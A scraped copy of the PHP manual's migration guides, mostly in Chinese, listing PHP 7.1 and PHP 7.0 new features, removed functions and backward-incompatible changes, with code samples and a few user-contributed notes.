通过给openssl_encrypt()和openssl_decrypt() 添加额外参数，现在支持了AEAD (模式 GCM and CCM)。

通过 Closure::fromCallable() 将callables转为闭包

Closure新增了一个静态方法，用于将callable快速地 转为一个Closure 对象。

<?php
class Test
{
    public function exposeFunction()
    {
        return Closure::fromCallable([$this, 'privateFunction']);
    }

    private function privateFunction($param)
    {
        var_dump($param);
    }
}

$privFunc = (new Test)->exposeFunction();
$privFunc('some value');

以上例程会输出：

string(10) "some value"

异步信号处理

一个新的名为 pcntl_async_signals() 的方法现在被引入， 用于启用无需 ticks （这会带来很多额外的开销）的异步信号处理。

<?php
pcntl_async_signals(true); // turn on async signals

pcntl_signal(SIGHUP,  function($sig) {
    echo "SIGHUP\n";
});

posix_kill(posix_getpid(), SIGHUP);

以上例程会输出：

SIGHUP

HTTP/2 server push support in ext/curl

对服务器推送的支持现在已经被加入到 CURL 扩展中（ 需要版本 7.46 或更高）。这个可以通过 curl_multi_setopt() 函数与新的常量 CURLMOPT_PUSHFUNCTION 来进行调节。常量 CURL_PUST_OK 和 CURL_PUSH_DENY 也已经被添加进来，以便服务器推送的回调函数来表明自己会同意或拒绝处理。

User Contributed Notes

DYM 09-Apr-2018 10:36
<?php
function swap( &$a, &$b ): void
  { [ $a, $b ] = [ $b, $a ]; }
?>
unti1x 06-Apr-2018 11:20
Note that declaring nullable return type does not mean that you can skip return statement at all. For example:

php > function a(): ?string { }
php > a();
PHP Warning:  Uncaught TypeError: Return value of a() must be of the type string or null, none returned in php shell code:2

php > function b(): ?string { return; }
PHP Fatal error:  A function with return type must return a value (did you mean "return null;" instead of "return;"?) in php shell code on line 2


新的函数

PHP Core

  • sapi_windows_cp_get()
  • sapi_windows_cp_set()
  • sapi_windows_cp_conv()
  • sapi_windows_cp_is_utf8()

Closure

  • Closure::fromCallable()

CURL

  • curl_multi_errno()
  • curl_share_errno()
  • curl_share_strerror()

Session

  • session_create_id()
  • session_gc()

SPL

  • is_iterable()

PCNTL

  • pcntl_async_signals()
  • pcntl_signal_get_handler()

User Contributed Notes

There are no user contributed notes for this page.


新增的全局常量

PHP 核心中预定义的常量

  • PHP_FD_SETSIZE

CURL

  • CURLMOPT_PUSHFUNCTION
  • CURL_PUSH_OK
  • CURL_PUSH_DENY

Data Filtering

  • FILTER_FLAG_EMAIL_UNICODE

Image Processing and GD

  • IMAGETYPE_WEBP

JSON

  • JSON_UNESCAPED_LINE_TERMINATORS

LDAP

  • LDAP_OPT_X_SASL_NOCANON
  • LDAP_OPT_X_SASL_USERNAME
  • LDAP_OPT_X_TLS_CACERTDIR
  • LDAP_OPT_X_TLS_CACERTFILE
  • LDAP_OPT_X_TLS_CERTFILE
  • LDAP_OPT_X_TLS_CIPHER_SUITE
  • LDAP_OPT_X_TLS_KEYFILE
  • LDAP_OPT_X_TLS_RANDOM_FILE
  • LDAP_OPT_X_TLS_CRLCHECK
  • LDAP_OPT_X_TLS_CRL_NONE
  • LDAP_OPT_X_TLS_CRL_PEER
  • LDAP_OPT_X_TLS_CRL_ALL
  • LDAP_OPT_X_TLS_DHFILE
  • LDAP_OPT_X_TLS_CRLFILE
  • LDAP_OPT_X_TLS_PROTOCOL_MIN
  • LDAP_OPT_X_TLS_PROTOCOL_SSL2
  • LDAP_OPT_X_TLS_PROTOCOL_SSL3
  • LDAP_OPT_X_TLS_PROTOCOL_TLS1_0
  • LDAP_OPT_X_TLS_PROTOCOL_TLS1_1
  • LDAP_OPT_X_TLS_PROTOCOL_TLS1_2
  • LDAP_OPT_X_TLS_PACKAGE
  • LDAP_OPT_X_KEEPALIVE_IDLE
  • LDAP_OPT_X_KEEPALIVE_PROBES
  • LDAP_OPT_X_KEEPALIVE_INTERVAL

PostgreSQL

  • PGSQL_NOTICE_LAST
  • PGSQL_NOTICE_ALL
  • PGSQL_NOTICE_CLEAR

SPL

  • MT_RAND_PHP

User Contributed Notes

There are no user contributed notes for this page.


不向后兼容的变更

当传递参数过少时将抛出错误

在过去如果我们调用一个用户定义的函数时，提供的参数不足，那么将会产生一个警告(warning)。 现在，这个警告被提升为一个错误异常(Error exception)。这个变更仅对用户定义的函数生效， 并不包含内置函数。例如：

<?php
function test($param){}
test();

Output of the above example in PHP 5.5:

Uncaught Error: Too few arguments to function test(), 0 passed in %s on line %d and exactly 1 expected in %s:%d

Forbid dynamic calls to scope introspection functions

Dynamic calls for certain functions have been forbidden (in the form of $func() or array_map('extract', ...), etc). These functions either inspect or modify another scope, and present with them ambiguous and unreliable behavior. The functions are as follows:

  • assert() - with a string as the first argument
  • compact()
  • extract()
  • func_get_args()
  • func_get_arg()
  • func_num_args()
  • get_defined_vars()
  • mb_parse_str() - with one arg
  • parse_str() - with one arg
<?php
(function () {
    'func_num_args'();
})();

以上例程会输出：

Warning: Cannot call func_num_args() dynamically in %s on line %d

Invalid class, interface, and trait names

The following names cannot be used to name classes, interfaces, or traits:

  • void
  • iterable

Numerical string conversions now respect scientific notation

Integer operations and conversions on numerical strings now respect scientific notation. This also includes the (int) cast operation, and the following functions: intval() (where the base is 10), settype(), decbin(), decoct(), and dechex().

Fixes to mt_rand() algorithm

mt_rand() will now default to using the fixed version of the Mersenne Twister algorithm. If deterministic output from mt_srand() was relied upon, then the MT_RAND_PHP with the ability to preserve the old (incorrect) implementation via an additional optional second parameter to mt_srand().

rand() aliased to mt_rand() and srand() aliased to mt_srand()

rand() and srand() have now been made aliases to mt_rand() and mt_srand(), respectively. This means that the output for the following functions have changes: rand(), shuffle(), str_shuffle(), and array_rand().

Disallow the ASCII delete control character in identifiers

The ASCII delete control character (0x7F) can no longer be used in identifiers that are not quoted.

error_log changes with syslog value

If the error_log ini setting is set to syslog, the PHP error levels are mapped to the syslog error levels. This brings finer differentiation in the error logs in contrary to the previous approach where all the errors are logged with the notice level only.

在不完整的对象上不再调用析构方法

析构方法在一个不完整的对象（例如在构造方法中抛出一个异常）上将不再会被调用。

call_user_func()不再支持对传址的函数的调用

call_user_func() 现在在调用一个以引用作为参数的函数时将始终失败。

字符串不再支持空索引操作符 The empty index operator is not supported for strings anymore

对字符串使用一个空索引操作符（例如$str[] = $x）将会抛出一个致命错误， 而不是静默地将其转为一个数组。

ini配置项移除

下列ini配置项已经被移除：

  • session.entropy_file
  • session.entropy_length
  • session.hash_function
  • session.hash_bits_per_character

Array ordering when elements are automatically created during by reference assignments has changed

The order of the elements in an array has changed when those elements have been automatically created by referencing them in a by reference assignment. For example:

<?php
$array = [];
$array["a"] =& $array["b"];
$array["b"] = 1;
var_dump($array);
?>

Output of the above example in PHP 7.0:

array(2) {
  ["a"]=>
  &int(1)
  ["b"]=>
  &int(1)
}

Output of the above example in PHP 7.1:

array(2) {
  ["b"]=>
  &int(1)
  ["a"]=>
  &int(1)
}

Sort order of equal elements

The internal sorting algorithm has been improved, what may result in different sort order of elements, which compare as equal, than before.

Note:

Don't rely on the order of elements which compare as equal; it might change anytime.

Error message for E_RECOVERABLE errors

The error message for E_RECOVERABLE errors has been changed from "Catchable fatal error" to "Recoverable fatal error".

$options parameter of unserialize()

The allowed_classes element of the $options parameter of unserialize() is now strictly typed, i.e. if anything other than an array or a boolean is given, unserialize() returns FALSE and issues an E_WARNING.

DateTime constructor incorporates microseconds

DateTime and DateTimeImmutable now properly incorporate microseconds when constructed from the current time, either explicitly or with a relative string (e.g. "first day of next month"). This means that naive comparisons of two newly created instances will now more likely return FALSE instead of TRUE:

<?php
new DateTime() == new DateTime();
?>

Fatal errors to Error exceptions conversions

In the Date extension, invalid serialization data for DateTime or DatePeriod classes, or timezone initialization failure from serialized data, will now throw an Error exception from the __wakeup() or __set_state() methods, instead of resulting in a fatal error.

In the DBA extension, data modification functions (such as dba_insert()) will now throw an Error exception instead of triggering a catchable fatal error if the key does not contain exactly two elements.

In the DOM extension, invalid schema or RelaxNG validation contexts will now throw an Error exception instead of resulting in a fatal error. Similarly, attempting to register a node class that does not extend the appropriate base class, or attempting to read an invalid property or write to a readonly property, will also now throw an Error exception.

In the IMAP extension, email addresses longer than 16385 bytes will throw an Error exception instead of resulting in a fatal error.

In the Intl extension, failing to call the parent constructor in a class extending Collator before invoking the parent methods will now throw an Error instead of resulting in a recoverable fatal error. Also, cloning a Transliterator object will now throw an Error exception on failure to clone the internal transliterator instead of resulting in a fatal error.

In the LDAP extension, providing an unknown modification type to ldap_batch_modify() will now throw an Error exception instead of resulting in a fatal error.

In the mbstring extension, the mb_ereg() and mb_eregi() functions will now throw a ParseError exception if an invalid PHP expression is provided and the 'e' option is used.

In the Mcrypt extension, the mcrypt_encrypt() and mcrypt_decrypt() will now throw an Error exception instead of resulting in a fatal error if mcrypt cannot be initialized.

In the mysqli extension, attempting to read an invalid property or write to a readonly property will now throw an Error exception instead of resulting in a fatal error.

In the Reflection extension, failing to retrieve a reflection object or retrieve an object property will now throw an Error exception instead of resulting in a fatal error.

In the Session extension, custom session handlers that do not return strings for session IDs will now throw an Error exception instead of resulting in a fatal error when a function is called that must generate a session ID.

In the SimpleXML extension, creating an unnamed or duplicate attribute will now throw an Error exception instead of resulting in a fatal error.

In the SPL extension, attempting to clone an SplDirectory object will now throw an Error exception instead of resulting in a fatal error. Similarly, calling ArrayIterator::append() when iterating over an object will also now throw an Error exception.

In the standard extension, the assert() function, when provided with a string argument as its first parameter, will now throw a ParseError exception instead of resulting in a catchable fatal error if the PHP code is invalid. Similarly, calling forward_static_call() outside of a class scope will now throw an Error exception.

In the Tidy extension, creating a tidyNode manually will now throw an Error exception instead of resulting in a fatal error.

In the WDDX extension, a circular reference when serializing will now throw an Error exception instead of resulting in a fatal error.

In the XML-RPC extension, a circular reference when serializing will now throw an instance of Error exception instead of resulting in a fatal error.

In the Zip extension, the ZipArchive::addGlob() method will now throw an Error exception instead of resulting in a fatal error if glob support is not available.

Lexically bound variables cannot reuse names

Variables bound to a closure via the use construct cannot use the same name as any superglobals, $this, or any parameter. For example, all of these function definition will result in a fatal error:

<?php
$f = function () use ($_SERVER) {};
$f = function () use ($this) {};
$f = function ($param) use ($param) {};

JSON encoding and decoding

The serialize_precision ini setting now controls the serialization precision when encoding doubles.

Decoding an empty key now results in an empty property name, rather than _empty_ as a property name.

<?php
var_dump(json_decode(json_encode(['' => 1])));

以上例程的输出类似于：

object(stdClass)#1 (1) {
  [""]=>
  int(1)
}

When supplying the JSON_UNESCAPED_UNICODE flag to json_encode(), the sequences U+2028 and U+2029 are now escaped.

Changes to mb_ereg() and mb_eregi() parameter semantics

The third paramter to the mb_ereg() and mb_eregi() functions (regs) will now be set to an empty array if nothing was matched. Formely, the parameter would not have been modified.

Drop support for the sslv2 stream

The sslv2 stream has now been dropped in OpenSSL.

User Contributed Notes

david at artefactual dot com 04-Apr-2019 05:29
Regarding the ArgumentCountError, PHP 7.1+ does still support user functions with a variable number of arguments, using the "func(...$args) {}" syntax, see: https://www.php.net/manual/en/functions.arguments.php#functions.variable-arg-list
mikem at gmail dot com 21-Nov-2017 12:09
ArgumentCountError - this modification is the main reason to avoid this version on older projects.
kees at twekaers dot net 21-Mar-2017 11:49
The backwards incompatible change 'The empty index operator is not supported for strings anymore' has a lot more implications than just a fatal error on the following code

<?php
$a = "";
$a[] = "hello world";
var_dump($a);
?>

This will give a fatal error in 7.1 but will work as expected in 7.0 or below and give you: (no notice, no warning)

array(1) {
  [0]=>
  string(11) "hello world"
}

However, the following is also changed:

<?php
$a = "";
$a[0] = "hello world";
var_dump($a);
// 7.1: string(1) "h"
// pre-7.1: array(1) {  [0]=>  string(11) "hello world" }

$a = "";
$a[5] = "hello world";
var_dump($a);
// 7.1: string(6) "     h"
// pre-7.1: array(1) {  [0]=>  string(11) "hello world" }

?>
m dot r dot sopacua at gmail dot com 30-Dec-2016 03:49
"OMFG! Why was session.hash_function removed?!? Dude!"

https://wiki.php.net/rfc/session-id-without-hashing

There. Saved ya a search.
love at sickpeople dot se 24-Nov-2016 07:59
For anyone migrating from 5.x to 7.1:

About "Array ordering when elements are automatically created during by reference assignments has changed" on this page

(http://php.net/manual/en/migration71.incompatible.php#migration71.incompatible.array-order)

The behaviour of 7.1 is THE SAME as of PHP 5. It is only 7.0 that differs.

See https://3v4l.org/frbUc

<?php

$array = [];
$array["a"] =& $array["b"];
$array["b"] = 1;
var_dump($array);


PHP 7.1.x 中废弃的特性

ext/mcrypt

mcrypt 扩展已经过时了大约10年，并且用起来很复杂。因此它被废弃并且被 OpenSSL 所取代。 从PHP 7.2起它将被从核心代码中移除并且移到PECL中。

mb_ereg_replace()和mb_eregi_replace()的Eval选项

对于mb_ereg_replace()和mb_eregi_replace()的 e模式修饰符现在已被废弃。

User Contributed Notes

There are no user contributed notes for this page.


变动的函数

PHP 核心

  • getopt() 函数增加了第三个参数，这是一个可选参数。 通过以引用的方式传入参数， 它可以用来存储参数列表中下一个参数的下标位置。
  • getenv() 可以不传入任何参数。 如果不传入参数，此函数会以关联数组的形式 返回所有的环境变量。
  • get_headers() 增加了一个参数， 可以用来解析自定义的流上下文。
  • output_reset_rewrite_vars() 函数不再重置会话 URL 重写变量了。
  • parse_url() 更加严格的限制， 并且提供对 RFC3986 的支持。
  • unpack() 函数增加第三个参数， 这是一个可选参数，用来指定开始解包的位置。

文件系统

  • file_get_contents() 接受负数作为搜索偏移量， 前提是流上下文必须是可搜索的。
  • tempnam() 会在退回使用系统临时目录的时候，产生警告。

JSON

  • json_encode() 增加新的选项： JSON_UNESCAPED_LINE_TERMINATORS。 这个选项可以在指定 JSON_UNESCAPED_UNICODE 选项的时候， 对于 U+2028 和 U+2029 这两个字符不再进行转义。

多子节字符

  • mb_ereg() 不接受无效的字节序列。
  • mb_ereg_replace() 不接受无效的字节序列。

PDO

  • PDO::lastInsertId() 在用于 PostgreSQL 数据库的时候， 如果当前会话（到 PostgreSQL 的数据库连接）上尚未调用过 nextval， 那么此方法会触发一个错误。

PostgreSQL

  • pg_last_notice() 增加一个用来指定操作的可选参数。 可使用以下常量作为此参数的值： PGSQL_NOTICE_LAST, PGSQL_NOTICE_ALL 或 PGSQL_NOTICE_CLEAR。
  • pg_fetch_all() 增加第二个参数，这是一个可选参数， 它用来指定返回结果的类型 （类似于 pg_fetch_array() 的第三个参数）。
  • pg_select() 增加第四个参数，这是一个可选参数， 它用来指定返回结果的类型 （类似于 pg_fetch_array() 的第三个参数）。

Session

  • session_start() 当无法成功初始化会话的时候，返回 FALSE， 并且不会初始化超级变量 $_SESSION。

User Contributed Notes

There are no user contributed notes for this page.


Other changes

Notices and warnings on arithmetic with invalid strings

New E_WARNING and E_NOTICE errors have been introduced when invalid strings are coerced using operators expecting numbers (+ - * / ** % << >> | & ^) or their assignment equivalents. An E_NOTICE is emitted when the string begins with a numeric value but contains trailing non-numeric characters, and an E_WARNING is emitted when the string does not contain a numeric value.

<?php
'1b' + 'something';

以上例程会输出：

Notice: A non well formed numeric value encountered in %s on line %d
Warning: A non-numeric value encountered in %s on line %d

Warn on octal escape sequence overflow

Previously, 3-octet octal string escape sequences would overflow silently. Now, they will still overflow, but E_WARNING will be emitted.

<?php
var_dump("\500");

以上例程会输出：

Warning: Octal escape sequence overflow \500 is greater than \377 in %s on line %d
string(1) "@"

Inconsistency fixes to $this

Whilst $this is considered a special variable in PHP, it lacked proper checks to ensure it wasn't used as a variable name or reassigned. This has now been rectified to ensure that $this cannot be a user-defined variable, reassigned to a different value, or be globalised.

Session ID generation without hashing

Session IDs will no longer be hashed upon generation. With this change brings about the removal of the following four ini settings:

  • session.entropy_file
  • session.entropy_length
  • session.hash_function
  • session.hash_bits_per_character

And the addition of the following two ini settings:

  • session.sid_length - defines the length of the session ID, defaulting to 32 characters for backwards compatibility)
  • session.sid_bits_per_character - defines the number of bits to be stored per character (i.e. increases the range of characters that can be used in the session ID), defaulting to 4 for backwards compatibility

Changes to INI file handling

precision

If the value is set to -1, then the dtoa mode 0 is used. The default value is still 14.

serialize_precision

If the value is set to -1, then the dtoa mode 0 is used. The value -1 is now used by default.

gd.jpeg_ignore_warning

The default of this php.ini setting has been changed to 1, so by default libjpeg warnings are ignored.

opcache.enable_cli

The default of this php.ini setting has been changed to 1 (enabled) in PHP 7.1.2.

Session ID generation with a CSPRNG only

Session IDs will now only be generated with a CSPRNG.

More informative TypeError messages when NULL is allowed

TypeError exceptions for arg_info type checks will now provide more informative error messages. If the parameter type or return type accepts NULL (by either having a default value of NULL or being a nullable type), then the error message will now mention this with a message of "must be ... or null" or "must ... or be null."

User Contributed Notes

Ta7To7 27-Feb-2018 05:47
Note that using Incrementing/Decrementing operators on string is legal
<?php
$str = "";
echo ++$str; // output: 1
?>


Windows支持

readline

readline 扩展 现在通过 » WinEditLine 库 来实现了支持。因此，一个交互式的 CLI 命令行也得到了支持。(php.exe -a)。

User Contributed Notes

There are no user contributed notes for this page.


从PHP 5.6.x 移植到 PHP 7.0.x

Table of Contents

  • 不向后兼容的变更
  • 新特性
  • PHP 7.0.x 弃用的功能
  • 变更的函数
  • 新函数
  • 新的类和接口
  • 新的全局常量
  • SAPI 模块的变化
  • 移除的扩展和 SAPI
  • Other Changes

尽管PHP7.0是一个新的大版本，我们仍将致力于使迁移变得平缓。 这个版本主要消除在之前版本中不推荐使用的内容，使得语言变得更加通用一致。

这儿有一些值得关注的 少量的兼容性调整 以及 新的特性，同时在生产环境切换PHP版本之前，应该对代码进行测试。

参见 PHP 版本迁移指南 5.0.x, 5.1.x, 5.2.x, 5.3.x, 5.4.x, 5.5.x 和 5.6.x.

User Contributed Notes

There are no user contributed notes for this page.


不向后兼容的变更

错误和异常处理相关的变更

在 PHP 7 中，很多致命错误以及可恢复的致命错误，都被转换为异常来处理了。 这些异常继承自 Error 类，此类实现了 Throwable 接口 （所有异常都实现了这个基础接口）。

这也意味着，当发生错误的时候，以前代码中的一些错误处理的代码将无法被触发。 因为在 PHP 7 版本中，已经使用抛出异常的错误处理机制了。 （如果代码中没有捕获 Error 异常，那么会引发致命错误）。

PHP 7 中的错误处理的更完整的描述，请参见 PHP 7 错误处理。 本迁移指导主要是列出对兼容性有影响的变更。

set_exception_handler() 不再保证收到的一定是 Exception 对象

抛出 Error 对象时，如果 set_exception_handler() 里的异常处理代码声明了类型 Exception ，将会导致 fatal error。

想要异常处理器同时支持 PHP5 和 PHP7，应该删掉异常处理器里的类型声明。如果代码仅仅是升级到 PHP7，则可以把类型 Exception 替换成 Throwable。

<?php
// PHP 5 时代的代码将会出现问题
function handler(Exception $e) { ... }
set_exception_handler('handler');

// 兼容 PHP 5 和 7
function handler($e) { ... }

// 仅支持 PHP 7
function handler(Throwable $e) { ... }
?>

当内部构造器失败的时候，总是抛出异常

在之前版本中，如果内部类的构造器出错，会返回 NULL 或者一个不可用的对象。 从 PHP 7 开始，如果内部类构造器发生错误， 那么会抛出异常。

解析错误会抛出 ParseError 异常

解析错误会抛出 ParseError 异常。 对于 eval() 函数，需要将其包含到一个 catch 代码块中来处理解析错误。

E_STRICT 警告级别变更

原有的 E_STRICT 警告都被迁移到其他级别。 E_STRICT 常量会被保留，所以调用 error_reporting(E_ALL|E_STRICT) 不会引发错误。

E_STRICT 警告级别变更
场景 | 新的级别/行为
将资源类型的变量用作键来进行索引 | E_NOTICE
抽象静态方法 | 不再警告，会引发错误
重复定义构造器函数 | 不再警告，会引发错误
在继承的时候，方法签名不匹配 | E_WARNING
在两个 trait 中包含相同的（兼容的）属性 | 不再警告，会引发错误
以非静态调用的方式访问静态属性 | E_NOTICE
变量应该以引用的方式赋值 | E_NOTICE
变量应该以引用的方式传递（到函数参数中） | E_NOTICE
以静态方式调用实例方法 | E_DEPRECATED

关于变量处理的变化

PHP 7 现在使用了抽象语法树来解析源代码。这使得许多由于之前的PHP的解释器的限制所不可能实现的改进得以实现。 但出于一致性的原因导致了一些特殊例子的变动，而这些变动打破了向后兼容。 在这一章中将详细介绍这些例子。

关于间接使用变量、属性和方法的变化

对变量、属性和方法的间接调用现在将严格遵循从左到右的顺序来解析，而不是之前的混杂着几个特殊案例的情况。 下面这张表说明了这个解析顺序的变化。

间接调用的表达式的新旧解析顺序
表达式 | PHP 5 的解析方式 | PHP 7 的解析方式
$$foo['bar']['baz'] | ${$foo['bar']['baz']} | ($$foo)['bar']['baz']
$foo->$bar['baz'] | $foo->{$bar['baz']} | ($foo->$bar)['baz']
$foo->$bar['baz']() | $foo->{$bar['baz']}() | ($foo->$bar)['baz']()
Foo::$bar['baz']() | Foo::{$bar['baz']}() | (Foo::$bar)['baz']()

使用了旧的从右到左的解析顺序的代码必须被重写，明确的使用大括号来表明顺序（参见上表中间一列）。 这样使得代码既保持了与PHP 7.x的前向兼容性，又保持了与PHP 5.x的后向兼容性。

这同样影响了 global 关键字。如果需要的话可以使用大括号来模拟之前的行为。

<?php
function f() {
    // Valid in PHP 5 only.
    global $$foo->bar;

    // Valid in PHP 5 and 7.
    global ${$foo->bar};
}
?>

关于list()处理方式的变更

list() 不再以反向的顺序来进行赋值

list() 现在会按照变量定义的顺序来给他们进行赋值，而非反过来的顺序。 通常来说，这只会影响list() 与数组的[]操作符一起使用的案例，如下所示：

<?php
list($a[], $a[], $a[]) = [1, 2, 3];
var_dump($a);
?>

Output of the above example in PHP 5:

array(3) {
  [0]=>
  int(3)
  [1]=>
  int(2)
  [2]=>
  int(1)
}

Output of the above example in PHP 7:

array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

总之，我们推荐不要依赖list()的赋值顺序，因为这是一个在未来也许会变更的实现细节。

空的list()赋值支持已经被移除

list() 结构现在不再能是空的。如下的例子不再被允许：

<?php
list() = $a;
list(,,) = $a;
list($x, list(), $y) = $a;
?>
list()不再能解开string

list() 不再能解开字符串（string）变量。 你可以使用str_split()来代替它。

Array ordering when elements are automatically created during by reference assignments has changed

The order of the elements in an array has changed when those elements have been automatically created by referencing them in a by reference assignment. For example:

<?php
$array = [];
$array["a"] =& $array["b"];
$array["b"] = 1;
var_dump($array);
?>

Output of the above example in PHP 5:

array(2) {
  ["b"]=>
  &int(1)
  ["a"]=>
  &int(1)
}

Output of the above example in PHP 7:

array(2) {
  ["a"]=>
  &int(1)
  ["b"]=>
  &int(1)
}

函数参数附近的括号不再影响行为

在 PHP 5中，在以引用方式传递函数参数时，使用冗余的括号对可以隐匿严格标准 的警告。现在，这个警告总会触发。

<?php
function getArray() {
    return [1, 2, 3];
}

function squareArray(array &$a) {
    foreach ($a as &$v) {
        $v **= 2;
    }
}

// Generates a warning in PHP 7.
squareArray((getArray()));
?>

以上例程会输出：

Notice: Only variables should be passed by reference in /tmp/test.php on line 13

foreach的变化

foreach发生了细微的变化，控制结构， 主要围绕阵列的内部数组指针和迭代处理的修改。

foreach不再改变内部数组指针

在PHP7之前，当数组通过 foreach 迭代时，数组指针会移动。现在开始，不再如此，见下面代码

<?php
$array = [0, 1, 2];
foreach ($array as &$val) {
    var_dump(current($array));
}
?>

Output of the above example in PHP 5:

int(1)
int(2)
bool(false)

Output of the above example in PHP 7:

int(0)
int(0)
int(0)

foreach 通过值遍历时，操作的值为数组的副本

当默认使用通过值遍历数组时，foreach 实际操作的是数组的迭代副本，而非数组本身。这就意味着，foreach 中的操作不会修改原数组的值。

foreach通过引用遍历时，有更好的迭代特性

当使用引用遍历数组时，现在 foreach 在迭代中能更好的跟踪变化。例如，在迭代中添加一个迭代值到数组中，参考下面的代码：

<?php
$array = [0];
foreach ($array as &$val) {
    var_dump($val);
    $array[1] = 1;
}
?>

Output of the above example in PHP 5:

int(0)

Output of the above example in PHP 7:

int(0)
int(1)

非Traversable 对象的遍历

迭代一个非Traversable对象将会与迭代一个引用数组的行为相同。 这将导致在对象添加或删除属性时， foreach通过引用遍历时，有更好的迭代特性也能被应用

Changes to integer handling

无效的八进制字符（Invalid octal literals）

在之前，一个八进制字符如果含有无效数字，该无效数字将被静默删节(0128 将被解析为 012). 现在这样的八进制字符将产生解析错误。

负位移运算（Negative bitshifts）

以负数形式进行的位移运算将会抛出一个 ArithmeticError：

<?php
var_dump(1 >> -1);
?>

Output of the above example in PHP 5:

int(0)

Output of the above example in PHP 7:

Fatal error: Uncaught ArithmeticError: Bit shift by negative number in /tmp/test.php:2
Stack trace:
#0 {main}
  thrown in /tmp/test.php on line 2

超范围后产生位移

超出 integer 位宽的位移操作（无论哪个方向）将始终得到 0 作为结果。在从前，这一操作是结构依赖的。

string处理上的调整

十六进制字符串不再被认为是数字

含十六进制字符串不再被认为是数字。例如：

<?php
var_dump("0x123" == "291");
var_dump(is_numeric("0x123"));
var_dump("0xe" + "0x1");
var_dump(substr("foo", "0x1"));
?>

Output of the above example in PHP 5:

bool(true)
bool(true)
int(15)
string(2) "oo"

Output of the above example in PHP 7:

bool(false)
bool(false)
int(0)

Notice: A non well formed numeric value encountered in /tmp/test.php on line 5
string(3) "foo"

filter_var() 函数可以用于检查一个 string 是否含有十六进制数字,并将其转换为integer:

<?php
$str = "0xffff";
$int = filter_var($str, FILTER_VALIDATE_INT, FILTER_FLAG_ALLOW_HEX);
if (false === $int) {
    throw new Exception("Invalid integer!");
}
var_dump($int); // int(65535)
?>

\u{ 可能引起错误

由于新的 Unicode codepoint escape syntax语法， 紧连着无效序列并包含\u{ 的字串可能引起致命错误。 为了避免这一报错，应该避免反斜杠开头。

被移除的函数（Removed functions）

call_user_method() and call_user_method_array()

这两个函数从PHP 4.1.0开始被废弃，应该使用call_user_func() 和 call_user_func_array()。 你也可以考虑使用 变量函数 或者 ... 操作符。

所有的 ereg* 函数

所有 ereg 系列函数被删掉了。 PCRE 作为推荐的替代品。

mcrypt 别名

已废弃的 mcrypt_generic_end() 函数已被移除，请使用mcrypt_generic_deinit()代替。

此外，已废弃的 mcrypt_ecb(),
mcrypt_cbc(), mcrypt_cfb() 和
mcrypt_ofb() 函数已被移除，请配合恰当的MCRYPT_MODE_* 常量来使用 mcrypt_decrypt()进行代替。

所有 ext/mysql 函数

所有 ext/mysql 函数已被删掉了。 如何选择不同的 MySQL API，详情请见 选择 MySQL API。

所有 ext/mssql 函数

所有 ext/mssql 函数已被删掉了。 替代品的列表，参见 MSSQL 介绍。

intl 别名

已废弃的 datefmt_set_timezone_id() 和
IntlDateFormatter::setTimeZoneID() 函数已被移除，请使用 datefmt_set_timezone() 与
IntlDateFormatter::setTimeZone()代替。

set_magic_quotes_runtime()

set_magic_quotes_runtime(), 和它的别名 magic_quotes_runtime()已被移除. 它们在PHP 5.3.0中已经被废弃,并且 在in PHP 5.4.0也由于魔术引号的废弃而失去功能。

set_socket_blocking()

已废弃的 set_socket_blocking() 函数已被移除，请使用stream_set_blocking()代替。

dl() in PHP-FPM

dl()在 PHP-FPM 不再可用，在 CLI 和 embed SAPIs 中仍可用。

GD Type1 functions

Support for PostScript Type1 fonts has been removed from the GD extension, resulting in the removal of the following functions:

  • imagepsbbox()
  • imagepsencodefont()
  • imagepsextendfont()
  • imagepsfreefont()
  • imagepsloadfont()
  • imagepsslantfont()
  • imagepstext()

推荐使用 TrueType 字体和相关的函数作为替代。

被移除掉的 INI 配置指令

被移除的功能

以下 INI 配置指令已经被移除，同时移除的还有其对应的功能

  • always_populate_raw_post_data
  • asp_tags

xsl.security_prefs

xsl.security_prefs 指令被移除 在预处理的时候，取而代之的方法 XsltProcessor::setSecurityPrefs() 应该被调用到

其他向后兼容相关的变更

new 操作符创建的对象不能以引用方式赋值给变量

new 语句创建的对象不能 以引用的方式赋值给变量。

<?php
class C {}
$c =& new C;
?>

Output of the above example in PHP 5:

Deprecated: Assigning the return value of new by reference is deprecated in /tmp/test.php on line 3

Output of the above example in PHP 7:

Parse error: syntax error, unexpected 'new' (T_NEW) in /tmp/test.php on line 3

无效的类、接口以及 trait 命名

不能以下列名字来命名类、接口以及 trait：

  • bool
  • int
  • float
  • string
  • NULL
  • TRUE
  • FALSE

此外，也不要使用下列的名字来命名类、接口以及 trait。虽然在 PHP 7.0 中， 这并不会引发错误， 但是这些名字是保留给将来使用的。

  • resource
  • object
  • mixed
  • numeric

移除了 ASP 和 script PHP 标签

使用类似 ASP 的标签，以及 script 标签来区分 PHP 代码的方式被移除。 受到影响的标签有：

被移除的 ASP 和 script 标签
开标签 | 闭标签
<% | %>
<%= | %>
<script language="php"> | </script>

从不匹配的上下文发起调用

在不匹配的上下文中以静态方式调用非静态方法， 在 PHP 5.6 中已经废弃， 但是在 PHP 7.0 中， 会导致被调用方法中未定义 $this 变量，以及此行为已经废弃的警告。

<?php
class A {
    public function test() { var_dump($this); }
}

// 注意：并没有从类 A 继承
class B {
    public function callNonStaticMethodOfA() { A::test(); }
}

(new B)->callNonStaticMethodOfA();
?>

Output of the above example in PHP 5.6:

Deprecated: Non-static method A::test() should not be called statically, assuming $this from incompatible context in /tmp/test.php on line 8
object(B)#1 (0) {
}

Output of the above example in PHP 7:

Deprecated: Non-static method A::test() should not be called statically in /tmp/test.php on line 8

Notice: Undefined variable: this in /tmp/test.php on line 3
NULL

yield 变更为右联接运算符

在使用 yield 关键字的时候，不再需要括号， 并且它变更为右联接操作符，其运算符优先级介于 print 和 => 之间。 这可能导致现有代码的行为发生改变：

<?php
echo yield -1;
// 在之前版本中会被解释为：
echo (yield) - 1;
// 现在，它将被解释为：
echo yield (-1);

yield $foo or die;
// 在之前版本中会被解释为：
yield ($foo or die);
// 现在，它将被解释为：
(yield $foo) or die;
?>

可以通过使用括号来消除歧义。

函数定义不可以包含多个同名参数

在函数定义中，不可以包含两个或多个同名的参数。 例如，下面代码中的函数定义会触发 E_COMPILE_ERROR 错误：

<?php
function foo($a, $b, $unused, $unused) {
    //
}
?>

Switch 语句不可以包含多个 default 块

在 switch 语句中，两个或者多个 default 块的代码已经不再被支持。 例如，下面代码中的 switch 语句会触发 E_COMPILE_ERROR 错误：

<?php
switch (1) {
    default:
    break;
    default:
    break;
}
?>

